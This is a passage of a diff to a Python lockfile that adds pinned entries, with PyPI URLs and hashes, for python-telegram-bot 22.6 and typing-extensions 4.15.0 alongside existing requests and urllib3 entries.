+source = { registry = "https://pypi.org/simple" }
+dependencies = [
+ { name = "httpcore", marker = "python_full_version >= '3.14'" },
+ { name = "httpx" },
+]
+sdist = { url = "https://files.pythonhosted.org/packages/cd/9b/8df90c85404166a6631e857027866263adb27440d8af1dbeffbdc4f0166c/python_telegram_bot-22.6.tar.gz", hash = "sha256:50ae8cc10f8dff01445628687951020721f37956966b92a91df4c1bf2d113742", size = 1503761, upload-time = "2026-01-24T13:57:00.269Z" }
+wheels = [
+ { url = "https://files.pythonhosted.org/packages/13/97/7298f0e1afe3a1ae52ff4c5af5087ed4de319ea73eb3b5c8c4dd4e76e708/python_telegram_bot-22.6-py3-none-any.whl", hash = "sha256:e598fe171c3dde2dfd0f001619ee9110eece66761a677b34719fb18934935ce0", size = 737267, upload-time = "2026-01-24T13:56:58.06Z" },
+]
+
[[package]]
name = "requests"
version = "2.32.5"
@@ -196,6 +265,15 @@ wheels = [
{ url = "https://files.pythonhosted.org/packages/1e/db/4254e3eabe8020b458f1a747140d32277ec7a271daf1d235b70dc0b4e6e3/requests-2.32.5-py3-none-any.whl", hash = "sha256:2462f94637a34fd532264295e186976db0f5d453d1cdd31473c85a6a161affb6", size = 64738, upload-time = "2025-08-18T20:46:00.542Z" },
]
+[[package]]
+name = "typing-extensions"
+version = "4.15.0"
+source = { registry = "https://pypi.org/simple" }
+sdist = { url = "https://files.pythonhosted.org/packages/72/94/1a15dd82efb362ac84269196e94cf00f187f7ed21c242792a923cdb1c61f/typing_extensions-4.15.0.tar.gz", hash = "sha256:0cea48d173cc12fa28ecabc3b837ea3cf6f38c6d1136f85cbaaf598984861466", size = 109391, upload-time = "2025-08-25T13:49:26.313Z" }
+wheels = [
+ { url = "https://files.pythonhosted.org/packages/18/67/36e9267722cc04a6b9f15c7f3441c2363321a3ea07da7ae0c0707beb2a9c/typing_extensions-4.15.0-py3-none-any.whl", hash = "sha256:f0fa19c6845758ab08074a0cfa8b7aecb71c999ca73d62883bc25cc018c4e548", size = 44614, upload-time = "2025-08-25T13:49:24.86Z" },
+]
+
[[package]]
name = "urllib3"
version = "2.6.3"